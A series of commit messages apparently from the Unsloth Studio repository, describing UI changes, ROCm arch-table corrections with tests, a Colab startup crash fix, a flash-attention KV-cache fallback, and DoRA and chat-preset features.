quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Take the agent command shell from the Studio host for PR #7303
* Pick the command shell from where the CLI runs for PR #7303
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Settings: match dialog fills to the app shell surfaces
Tabs use the sidebar fill and the content pane uses the page fill, so
both track the active palette in light and dark.
* Pair the tab column fill with the sidebar foreground
Custom themes set --foreground but not --sidebar, so search result rows
could land white on white. Track the sidebar token instead.
* feat(studio): add drag and drop sources to create project
Files dropped on the create-project dialog upload to the new project's
sources as soon as it exists, so a project can start with context instead
of needing a second trip to the Sources tab.
The sidebar and projects page dialogs now reuse NewProjectDialog rather
than each keeping their own copy, and the OCR / caption ingest overrides
move to a shared helper so every upload path sends the same settings.
* fix(studio): harden project source drops
Drops are not filtered by the `accept` attribute the way the picker is, so a
folder or an image would stage and then fail server-side with a confusing
per-file error. Unsupported entries are now refused up front with one message.
Cancel bypassed the dialog's reset, so a discarded name and its staged files
came back on reopen and uploaded into the next project created. Every close
path now goes through one handler.
Long filenames lost their extension in _sanitize_filename and were then
rejected as an unsupported type; the stem is trimmed instead. Adds backend
tests for the project scope, the sanitizer and path stripping.
* fix(studio): address second review pass on source drops
A drop landing on the panel while uploads run was not cancelled, because
pointer-events-none took the panel out of hit testing and nothing else on the
page cancels a file drop. The browser would navigate to the file and kill the
uploads in flight. Drag defaults are now cancelled even while disabled, and the
files are ignored instead.
Name, size and mtime can match for two genuinely different files, so a skipped
duplicate now says so rather than disappearing.
A slow upload could resolve after the dialog unmounted and still navigate,
pulling the user off the page they had moved to. Post-upload work is gated on
the component still being mounted.
* fix(studio): make source drops safe under StrictMode replay
The mount sentinel was only cleared in effect cleanup, so StrictMode's
setup/cleanup/setup replay left it false for good and every create in a dev
build stopped short of closing the dialog or navigating. It is now set on
setup as well.
The pending-sources marker was consumed inside a useState initializer, which
React replays, so the discarded pass ate the flag and the project opened on
Chats. Reading is now a peek and the marker is dropped in an effect.
Identical bytes under two names collapse to one document server-side, which
looked like both files had been added. The upload loop now tracks returned
document ids and says when files were merged.
* fix(studio): guard the route and storage around staged uploads
The sidebar's dialog lives in the root layout and never unmounts on a route
change, so the mount check alone could not stop a slow upload from navigating
the user back to the new project. The route is captured when create is pressed
and compared afterwards, and callers get that answer so the sidebar can still
move a chat while leaving the user where they are.
Reading the vision-pass overrides went straight at localStorage, which throws
outright where storage is blocked. That happened before the upload loop, so a
project was created and every staged source was lost. It now falls back to the
backend defaults, matching loadOptionalBool in the chat runtime store.
* fix(studio): support hostname-based enterprise proxies
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): strip userinfo from proxy fetch targets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* ROCm/AMD CI coverage: arch-table parity, native-Linux lib prepend, RDNA4 grouped_mm, discovery-based shell suite
Three merged ROCm fixes shipped without tests, and the CI wiring that
would have run them was gated on files the fixes do not touch.
Tests added (113):
tests/studio/install/test_rocm_arch_table_parity.py (27)
diffs the four duplicated gfx -> AMD pip-index tables across
install.sh, install.ps1, studio/setup.ps1 and install_python_stack.py,
plus the GPU-name -> arch tables and the torch 2.11 pin allowlist.
tests/studio/install/test_rocm_native_linux_lib_dirs.py (26)
covers #7233: system-ROCm lib dirs prepended ahead of bundled
libggml-hip, the /dev/kfd + not-WSL + libhsa gate, the opt-out env
var, root resolution order, and source parity between the two copies.
studio/backend/tests/test_grouped_mm_rdna4_fallback.py (46)
covers #7292: registration on the CUDA dispatch key, grouped and
ungrouped numerics, bias/dtype promotion, and the Linux HIP<7.13 +
RDNA4 name gate, executed from the shipped source rather than a copy.
tests/studio/test_ci_shell_suite_coverage.py (14)
fails if either shell runner goes back to a hardcoded list or skips
a file without a recorded reason.
CI wiring:
studio-backend-ci.yml: add install.sh / install.ps1 to the path filter
(the suites it runs assert against those two files, so install-only
changes -- the shape most AMD/ROCm routing fixes take -- skipped it),
and replace the 13-file hardcoded shell list with directory
discovery. That list had fallen seven files behind, including
test_strixhalo_wsl_reroute.sh, the only shell coverage of the ROCm
WSL reroute, which had never run on a PR.
tests/run_all.sh: same discovery loop so local and CI agree.
* Test review fixes: assert on outcomes, not on the code under test
Self-review of the previous commit found four tests that passed for the
wrong reason.
1. The arch-table parity test pinned expected gfx ids copied out of the
shipped tables, which enshrined three upstream inaccuracies as
correct: RX 9070 (non-XT) is gfx1201 not gfx1200, RX 7800 XT is
gfx1101 not gfx1100, and PRO V710 is gfx1101 not gfx1102 per AMD's
ROCm compatibility matrix. The expectation is now the AMD pip index
leaf -- the thing the tables exist to produce, and what a wrong
answer costs the user. The three known drifts are listed explicitly
with a test asserting they stay cosmetic, i.e. that the wrong and
right ids still map to the same wheel index. That test turns red the
day one of them starts routing users to the wrong wheel.
2. The RDNA4 device-name test extracted the regex from worker.py and
then matched with it, so it could not fail. Widening the pattern --
the dangerous edit, since it forces the slow Python mm fallback onto
RDNA3 users -- would have been silently accepted. It now reads the
live pattern and checks it against fixed cases, plus asserts the
name match stays guarded by `not _lin_arch` and that the name is
lowercased before matching.
3. The CI-coverage test matched a verbatim line of studio-backend-ci.yml,
so reindenting the step would fail the build while a real regression
to a hardcoded list could slip past a reformat. It now parses the
YAML, finds the step by name, and asserts on the glob plus the
absence of individual filenames. The path-filter test likewise reads
the parsed trigger instead of scanning raw text.
4. A set comprehension in the parity helper had a ternary whose branches
were identical.
Mutation-tested: widening the RDNA4 regex, desyncing one copy of the
name table, dropping install.sh from the path filter, and re-skipping
the ROCm WSL shell suite each fail at least two tests. Verified on
Linux (WSL Ubuntu 24.04) with CI's torch pin: 86 + 48 pass.
* Fix three wrong gfx ids in the GPU-name arch tables
The name -> gfx tables disagreed with AMD's ROCm compatibility matrix on
three entries. Corrected against the "Radeon GPU" list at
rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html:
RX 9070, RX 9070 GRE gfx1200 -> gfx1201 (Navi 48, same die as the XT)
RX 7800 XT, RX 7700 XT gfx1100 -> gfx1101 (Navi 32, not Navi 31)
PRO W7700 gfx1100 -> gfx1101
PRO V710 gfx1102 -> gfx1101 (Navi 32, not Navi 33)
No wheel changes for anyone: gfx1200/gfx1201 both resolve to gfx120X-all
and gfx1100/gfx1101/gfx1102 all resolve to gfx110X-all, in all four copies
of the index-family map. That collapse is why the errors survived being
copied into six places -- the leaf-level tests could not see them.
It was not purely cosmetic, though. install.sh's second copy feeds
"Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>", so a 7800 XT user following the
printed advice exported gfx1100 and made a wrong id authoritative for
every later run. It would also have become a real misroute the moment AMD
split a family across index leaves, as they already do for gfx1151/gfx1150.
Fixed in all six places, which is two more than the table's own "kept in
sync with" comments claim exist:
install.sh _infer_amd_gfx_arch_from_gpu_name
install.sh case "$_gpu_disp_mkt" (banner + env tip; undocumented)
studio/setup.sh
install.ps1
studio/setup.ps1
studio/install_python_stack.py
Ordering is preserved: the gfx1102 arm still precedes gfx1101 in the shell
copies so "RX 7700S" cannot fall onto the "RX 7700" glob, and the
PowerShell copies keep the (?!S) lookahead.
Test changes:
- test_rocm_arch_table_parity.py gains _AMD_DOCUMENTED_ARCH, exact gfx
ids transcribed from AMD rather than from the tables. Agreement between
six copies proves nothing when all six were transcribed from the same
mistake, so the ground truth has to come from outside. Verified it
catches the bug: against the pre-fix tables it fails 6 tests.
- The parity check now covers all six copies. It had four; the two
install.sh copies were being treated as one, and
_WIN_GPU_NAME_ARCH_TABLE was not checked at all.
- test_rocm_support.py's TestGfxArchNameFallback pinned two of the wrong
ids as expected values; updated, and extended with a 9060 XT and a
7900 XTX case so each RDNA3/4 die is represented.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard against unregistered copies of the GPU-name arch table
Counting the copies by hand is what let them drift: the in-code "kept in
sync with" comments claimed four, the arch-id fix found six, and scanning
the tree turns up a seventh.
TestNoUnregisteredArchTable rediscovers the copies from the source tree
instead of trusting a hand-maintained list. A table line is one that names
a card and gives its arch; real tables score 9-17 such lines and the only
other hits in the repo are two single-line prose comments, so the
three-line threshold is not load-bearing. A companion test asserts the
scan still finds the known copies, so the heuristic cannot go blind and
pass by finding nothing.
The seventh copy is tests/_zoo_rocm_spoof.py, the fixture other ROCm tests
build their fake AMD host from. It states the mapping backwards (gfx ->
the name torch should report), which makes it an independent witness: it
had gfx1101 -> RX 7800 XT and gfx1201 -> RX 9070 XT right while all six
installer copies were wrong, and nothing compared the two. Now they are
round-tripped against each other.
RX 6700 XT is pinned as a known divergence rather than normalised. AMD's
compatibility matrix documents no consumer RX 6000 card and no gfx1031 at
all, the installer arm is commented "gfx103X family", and gfx1031 appears
only as an index-family key, never as a value a name table emits. With no
external source to correct against, changing shipped behaviour would be
guesswork. A test fails if the divergence ever disappears, so the
exemption cannot go stale.
Also adds the reverse of the AMD-matrix check: a documented card that
matches no arm anywhere is a silent CPU fallback rather than a wrong id.
This cannot detect hardware nobody transcribed, which would need a live
fetch of AMD's matrix and a non-hermetic suite; the docstring says so
rather than implying coverage that is not there.
Verified on Linux: 478 passed, plus all five new guards mutation-tested
to confirm each fails when its invariant is broken.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Docstring said six copies; the list under it now has seven
* tests: run discovered shell tests with bash, not sh
tests/run_all.sh discovered tests/sh/ instead of listing files, but still
invoked each one with sh. Every file there declares a bash shebang, and on
Debian/Ubuntu /bin/sh is dash: test_apt_distro_prompt.sh,
test_studio_home_node_dir.sh and test_with_llama_cpp_dir_link_behavior.sh
fail on bashisms under dash and pass under bash. The old hand-written list
happened to name only dash-clean files, so switching to discovery is what
surfaced it. Backend CI already used bash, so this was a local-only break.
Guarded by a new test asserting both runners invoke tests/sh/ with bash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Krackan Point (Radeon 860M/840M) routed to the gfx1150 wheel index
The GPU-name tables map 860M/840M and the Ryzen AI 7 350 / AI 5 340 CPU
strings to gfx1150, but Krackan Point is gfx1152. AMD's own lemonade table
(src/cpp/server/system_info.cpp) maps both Krackan iGPUs to gfx1152.
Unlike the three ids already fixed here, this one is not wheel-neutral:
repo.amd.com publishes gfx1150 and gfx1152 as separate index leaves with
separately built torch wheels, so these laptops were installing wheels
built for a different LLVM target. gfx1152 was absent from the codebase
entirely, so it needed the index-family maps, the torch 2.11 floor lists
(same _grouped_mm bug as gfx1150/1151), the Strix reroute set and the
Windows arch allowlist as well as the seven name tables.
The parity test added in this PR did not catch it because its AMD-matrix
expectations stopped at 890M/880M. Added the APU rows, so the case that
actually changes a wheel is now covered: reverting the tables fails 9
tests naming 860M, 840M and Krackan.
gfx1153 (Ryzen AI 5 430 era) is left alone; AMD publishes no gfx1153
wheel family, so there is nothing to route it to.
Verified: bash -n on both shell installers, PowerShell AST parse on both
.ps1 files, python ast.parse on all touched modules, install suite 1334
passed with no new failures against main, shell suite 20 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add gfx1152 to unified-memory classifiers, make parity allowlist set-based
Krackan Point (gfx1152, Radeon 860M/840M) is the third RDNA 3.5 APU and
shares one GPU/system-RAM pool exactly like Strix Point (gfx1150) and
Strix Halo (gfx1151), but only the installers knew about it. The two
runtime classifiers still had two-element arch sets, so a Krackan laptop
got the 0.90 discrete headroom factor on a shared pool and ran llama.cpp
without GGML_CUDA_ENABLE_UNIFIED_MEMORY.
- worker.py _rocm_classify_unified_memory: add gfx1152 to the arch set,
and 860m/840m to the device-name fallback. The NVIDIA GeForce 840M
cannot collide there: the function is only reached under _hw.IS_ROCM.
- llama_cpp.py _amd_apu_wants_unified_memory: add gfx1152 to the arch set.
- Tests for both, including the :sramecc-:xnack- suffix form.
TestGfx211AllowlistParity compared four hardcoded allowlist strings, so
adding gfx1152 to all four installers correctly turned three assertions
red without any installer actually disagreeing with another. Each test
now extracts the set its installer holds and compares it to one EXPECTED
constant. Order and spacing are free, membership is not, and the next
leaf is a one-line edit instead of four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
_load_model_impl contains more than one `if config.is_gguf:`, so
source.index() returned the earlier one, which belongs to a different check
than the branch the assertion is reasoning about. The inheritance call sits at
line 4543, the earlier branch at 4508 and the branch holding the load marker at
4567, so the comparison read 186995 < 185014 and failed on main.
The branch is now located from the load marker itself, which is the landmark
the rest of the test already relies on, so the assertion compares the
inheritance call against the branch that actually guards it. The slice used by
the following assertions is anchored the same way, which also tightens them:
they previously searched from the earlier branch to end of file.
The invariant is unchanged and still has teeth: moving the inheritance call
after the branch makes the assertion fail.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(studio/colab): survive ipykernel OutStream close() during startup
Unsloth Studio crashed at server startup on Colab with:
Unsloth Studio failed to start: 'OutStream' object has no attribute
'watch_fd_thread'
Root cause:
- Colab's ipykernel OutStream is created with watchfd=False, so it never
gains a watch_fd_thread. The OutStream.close() in the affected ipykernel
versions joins that thread unconditionally and raises AttributeError
(ipython/ipykernel#867).
- _setup_server_disk_logging() replaces sys.stdout/sys.stderr with a tee.
That changes the console object identity, so Colab's absl logging handler
(which captured the original OutStream and whose close() deliberately skips
sys.stdout/sys.stderr) no longer treats it as the live console.
- run_server builds uvicorn.Config(...), whose configure_logging runs
logging.config.dictConfig -> logging.shutdown, closing every existing
handler. The absl handler then calls close() on the orphaned OutStream and
the AttributeError propagates out of uvicorn.Config and aborts startup.
Fix:
- Before installing the tee, harden the displaced console streams' close() so
only the ipykernel#867 AttributeError is swallowed; a healthy close() runs
unchanged and any other error still propagates. The buggy close() raises
before it nulls pub_thread, so the stream stays fully usable.
- Give _TeeStream its own close() that flushes the log copy and forwards
close() to the wrapped console stream best-effort, so a handler that
captured the tee cannot crash startup either.
Add regression tests reproducing the exact path (an absl-style handler closing
a watchfd=False OutStream stand-in during logging.shutdown) and asserting the
tee/console path survives and keeps logging.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Show the Colab login password in the shareable link card
* Tighten Colab card comments for PR #7404
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the Colab tunnel URL clickable and emphasise the password
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Narrow the console close() hardening to the watch_fd_thread AttributeError
* Put the Colab password on its own line so selection excludes the label
* Keep the Colab password as plain selectable text
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: reset quantized KV cache to f16 when flash-attn-off fallback fires
Studio force-enables --flash-attn on for GGUF launches. On a hard startup
or first-decode crash it retries via _with_flash_attn_off, which flipped FA
off but left --cache-type-k/-v untouched. A quantized KV cache (q8_0, q4_0,
q4_1, q5_0, q5_1, iq4_nl) requires flash attention in llama.cpp, so the retry
itself aborted at init with 'V cache quantization requires flash_attn' instead
of recovering.
Reset any quantized --cache-type-k/-v to f16 in the FA-off fallback path so
the retry can actually launch. Non-quantized types (f16, bf16, f32) run fine
without flash attention and are left unchanged. Handles long and short flag
forms and both space and equals syntax, rewriting in place to preserve list
length. Adds pytest coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: FA-off fallback resets only the quantized V cache and drops env-only V cache
Only the V cache requires flash attention in llama.cpp; a quantized K cache
runs fine without it. Restrict the FA-off crash-recovery reset to the V axis
(main and draft) so a memory-constrained config keeps its quantized K cache
instead of risking an OOM on the recovery. Also drop an inherited quantized V
cache set purely through the environment (LLAMA_ARG_CACHE_TYPE_V /
LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V) at the FA-off retry sites, which the argv
rewrite cannot reach, so the child falls back to the f16 default rather than
aborting.
* Studio: normalize underscore V-cache aliases in the FA-off fallback
llama.cpp rewrites '_' to '-' for any '--' long option before matching,
so a pass-through --cache_type_v q8_0 enables a quantized V cache just
like --cache-type-v. The FA-off crash-recovery reset only matched the
hyphenated spelling, so the underscore alias slipped through and the
retry still aborted with "V cache quantization requires flash_attn".
Canonicalize the flag name the same way before matching (short flags and
the type value are untouched).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): honor run settings on initial model load
When loading a model from the gear-icon run-settings page, Context Length
and KV Cache Dtype were ignored if the user clicked Load before blurring
the context field, or before React flushed staged config into the store.
- Add NumericValueInput.commit() to flush a focused draft on Load
- Pass effectiveLoadConfig from model-config-page to onRun
- Prefer selection.config in performLoad for all load knobs
- Preserve meta.forceReload from the config-page reload path
Fixes#7346
* fix(studio): flush NumericValueInput draft when Load blurs first
Clicking Load blurs the context field before handleRun runs, so commit()
returned the stale value prop. Keep draft in a ref and parse it even when
the input is no longer focused.
* fix(studio): preserve Auto context when Load is clicked without edits
NumericValueInput.commit() now returns null unless the user actually
changed the field, so GGUF Load/Save no longer pins the displayed native
context into customContextLength when Auto was left untouched.
* fix(studio): clear NumericValueInput dirty state after blur commit
After a normal blur commit, reset dirtyRef so a later Load cannot replay a
stale draftRef when the user changed context via Reset or the slider.
* test(studio): pin NumericValueInput Auto/dirty contracts for #7346
Lock Codex P1/P2: commit returns null unless dirty, blur clears dirtyRef,
and handleRun only promotes a non-null committed context.
* fix(studio): keep same-click context draft after blur (#7346)
Blur can commit and clear dirtyRef before Load's onClick; stash that
committed value for one imperative commit() so typed context is not lost.
* chore: refresh PR head for #7351
* fix(studio): handle context commit edge cases
* chore: refresh PR head
* test(studio): guard invalid context drafts
* style(studio): format context draft guard
* test(studio): exercise same-click model config loads
* fix(studio): drop stale blur pin when the typed context equals the shown value
NumericValueInput cached every blur commit in lastBlurCommittedRef, even when
the draft equalled the current value and no onChange was dispatched. Because the
displayed value never changed, the useEffect([value]) clear never fired, so a
later Reset or external edit that leaves the shown value unchanged could not drop
the cache and the next commit() replayed it into an override that Reset had
removed. Only cache the blur result when it actually dispatched onChange
(final !== value); when final === value the parent is already current and there
is nothing to bridge. Add a Playwright regression that re-types the shown context
and asserts no override is stored.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: commit every same-click numeric draft before staging the load config
The run-settings Load/Reload button flushed only the GGUF Context Length draft
imperatively before building the load config. Max Seq Length (non-GGUF), GPU
Layers and MoE Layers on CPU (GGUF) are the same NumericValueInput and stage
their typed value only on blur, so editing one and clicking Load in the same
gesture staged the load from a still-stale parent config and dropped the value
the user just typed.
Wire an imperative commit handle through those inputs too and fold every
committed draft into the effective config, recomputing the non-GGUF load-time
max sequence length from the committed draft.
* fix(studio): recompute fixed-layer context pin and drop stale blur cache on every render
Two run-settings edge cases on the model-config page:
1) pinFixedLayerContext was computed from the render-time config, before a
same-click GPU Layers draft is committed in handleRun. Typing a positive
fixed-layer value on an auto-fit GGUF and clicking Reload therefore built
the runtime config with customContextLength: null, so a later fresh load
sent the native context with fixed layers (the OOM the pin exists to
avoid). Recompute the pin from the committed effectiveConfig.
2) NumericValueInput cleared its blur bridge only on a value change. A real
edit (final !== value) that Reset then reverts to the same shown number
nets value back unchanged, so the effect never re-ran and the stale pin
survived into the next Load/Save, replaying the override Reset removed.
The bridge is only valid across the single synchronous same-click gesture
that set it, so clear it on every settled render instead.
Add source-contract regressions for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The gguf order fix that landed on main dropped the only assertion
covering the prerequisite that llama_extra_args inheritance runs before
the GGUF branch: the inherited value (a carried --no-mmproj) shapes the
hub guard's require_mmproj, so a future reorder could reject a load
over an mmproj download the inherited arguments would disable. The
comment also misattributed the inheritance site to
_guard_chat_load_against_training.
The assertion is restored anchored on the call form
"= _resolve_inherited_extra_args(", which pins the endpoint's call site
(the bare name would match the function definition, which always
precedes the endpoint, making the check vacuous), and the comment now
names the real inheritance site. 32 tests pass.
* Studio desktop: fix loading-toast overlap and typing lag on model load
- Toaster: on desktop, offset toasts below the ~34px custom window titlebar
(top 46 when isTauri) so they no longer cover the min/max/close controls.
Web is unchanged (top 12).
- Model load: the 2s load poll wrote loadProgress state every tick, which
re-renders the whole chat page during "Starting model" (cheap in Chrome,
janky in the desktop WebView2 -> laggy typing). That state is only read by
the dismissed-toast inline status, so gate all four poll branches to write
it only when the inline view is live; while the toast is up it updates via
Sonner alone.
* Studio desktop: fix HTML canvas preview, download, and panel offset
- CSP: add frame-src for localhost/127.0.0.1 so the desktop webview can
frame the backend-served artifact preview. default-src 'self' (no
frame-src) blocked it -> "127.0.0.1 refused to connect"; web is
same-origin so it already worked.
- Download: route the canvas Download button through the native save
dialog (downloadFile) instead of a blob-anchor click, which the Tauri
WebView2 silently drops.
- Nudge the artifact panel down 8px so its top edge/shadow isn't tucked
under the window top bar.
* Studio desktop: add HTML filter for native canvas save dialog
Canvas Download saves .html via save_native_file, but save_filter() had no
html/htm case, so the native dialog fell back to the JSON/CSV/etc filter and
could block saving/browsing the .html export. Add an HTML filter and include
html/htm in the catch-all. Addresses Codex review on #7391.
* Studio desktop: unblock canvas preview in dev shell + clear header fade
- Preview: the app CSP frame-src fix wasn't enough in the tauri dev shell.
The preview endpoint sets its own frame-ancestors response header, which
only allowed 'self' tauri://localhost http://tauri.localhost -- so the
Vite dev origin (http://localhost:5173) was blocked and the frame stayed
"refused to connect". Extend the allowlist with http://localhost:* and
http://127.0.0.1:* (the endpoint only renders postMessage'd HTML in a
no-same-origin sandbox, so it exposes no server resource).
- Shadow: the artifact panel toolbar sat under the full-width
chat-header-fade; lower the panel top (mt 80->90px) so the controls clear
the fade.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio recipes: full-height canvas and in-app maximize control
- Recipe editor fills its container (drop the outer padding and the fixed
75vh height); the canvas reaches the window edges
- Viewport controls: the fit button now reads as center (it always
fit/centered); add an expand-to-full-view button that collapses the
sidebar and maximizes the canvas in-app, toggling back to restore
* recipe studio: exit full view when leaving the editor tab
Addresses review: the Exit full view control lives inside the editor
canvas, which unmounts on the Easy/Runs tabs. Clear maximized (and restore
the sidebar) when activeView leaves "editor" so those views aren't left
stuck under the fixed full-view overlay.
* recipe studio: keep full view below titlebar and off the sidebar state
* Fix reasoning-only Qwen3.6 completions in Studio
* Address reasoning-only review findings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: scale menu, toast, chat and composer icons with the UI font size
Glyphs that sit beside scaled labels now follow the preference: the
shared --icon-size token (nav, settings tabs, chat action bars, code
block actions), classed svgs inside dropdown, select, context, menubar,
popover and command surfaces, toasts, the chat thread and both
composers, and the composer pill glyph slot. Sonner toast text is
unpinned from its injected 13px. Hit targets, paddings and surface
geometry stay fixed and every value is identity at the default size.
* Studio: icons scale at half the UI font size rate; cover review gaps
Icons now follow the preference at half the rate of the text, matching
the logo lockup: base + (setting - 16) / 2. The menu specific rules
that outranked the scoped block (app-user-menu, unsloth-plus-menu,
unsloth-tick) carry the scale too, which also restores the plus menu's
intended 1.15rem glyph base at the default size. From review: closed
select triggers join the scoped surfaces so their chevron tracks the
label, sonner action button labels scale at full text rate alongside
the title and description, and the unused built-in sonner loader gets a
defensive size override.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons match the text scale below the default, half rate above
Piecewise icon scaling: below the 16px default icons follow the UI font
size at the full text rate, above it they move at half the rate so
glyphs stay slightly smaller than the text. Written as min(full, half)
since the smaller branch is correct on each side. Applies to the shared
--icon-size token, the scoped menu, toast, chat and composer overrides,
and the menu rules that outrank them.
* Studio: cap icons at their default size above the 16px setting
Below the default icons still match the text scale; above it they now
keep their default size instead of growing at half rate, so enlarged
text dominates and glyphs read slightly smaller than the text. The
curve is min(full rate, base).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons above the default scale at half rate, not capped
A 16px glyph at setting 20 renders 18px, as if the setting were 18:
above the default icons move at half the rate of the text, below it
they match the text scale. The curve is min(full rate, half rate).
* Studio: standard icons render at the UI font size itself
One shared --ui-icon-size token replaces the per-base curves for every
glyph with a 16px or larger base: icons match the UI font size below
the default and grow at half the change above it, so setting 12 gives
12px icons, 16 gives 16px and 20 gives 18px, slightly smaller than the
enlarged text. Sub 16px glyphs keep their proportions through the same
curve as a factor. This also slims the previous 18px to 21px icon bases
down to the font size at the default setting.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icon scale review fixes for ticks, comboboxes and art glyphs
From review: thinking ticks keep their own size inside plus menus (the
important menu rule now excludes them), combobox popups and triggers
join the scoped surfaces, 24px size-6 art glyphs such as attachment
tile icons go back to proportional scaling instead of the uniform
token, branch picker 36px chevrons scale proportionally beside their
counter, and buttons that default un-classed icons to size-4 get the
shared token (xs buttons keep their pinned small icons). Sonner cancel
labels already scale: sonner renders cancel with data-button set, so
the existing override reaches it.
* Studio: keep the toast close glyph compact
The button icon fallback matched Sonner's close button, whose unclassed
12px X then rendered at the shared icon size inside its fixed control.
Exclude data-close-button from the fallback.
* Studio: use text-ui-11 for the new chat settings sheet caption
The raw px guard caught a text-[11px] added on main; raw px text
ignores the UI font size preference.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Swap the lucide CircleOff icon on the Run automatically permission mode
for the Hugeicons AI Security 03 glyph, matching the app's existing
Hugeicons usage. A small lucide-compatible wrapper lets it drop into the
option list. Icon-only change, no behavior change.
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
* feat(studio): add DoRA support to studio
* fix: added use_dora fast encoder LoraConfig and gated use_dora on AdapterMethod
* fix(studio) serverside normalization for use_dora=true - add note documenting use_dora is silently dropped on diffusion
* fix: dora button disabled on mac, add preflight guard on GGUF lora export, mismatch now correctly falls through to existing error instead of silently no-opping
* Studio: add dora to the WizardState LoRA variant union for consistency
* Reject --use_dora on the MLX (Apple Silicon) CLI path
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* feat(studio): save load settings in chat presets
Presets previously stored only sampling params (temperature, top_p, etc.).
Extend them with an optional loadConfig blob that captures context length,
KV cache dtype, speculative decoding, and GPU layer knobs from the current
runtime when saving.
- Apply loadConfig when switching presets or hydrating on startup
- Show a short summary under the preset controls
- Prompt to reload when a model is already loaded
Fixes#7347
* fix(studio): persist preset loadConfig and capture GGUF context
Add ChatPresetLoadConfig to the chat settings API schema so presets with
load settings no longer 400 on save. Capture effective GGUF context from
ggufContextLength when customContextLength is cleared after auto-mode load.
* fix(studio): address Codex review on preset load settings
Coalesce default maxSeqLength/speculative/gpu knobs when capturing presets,
no-op apply for legacy presets without loadConfig, preserve GPU pin on apply,
and stop replaying stale loadConfig during settings hydration.
* Remove unused getOrderedPresets import
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
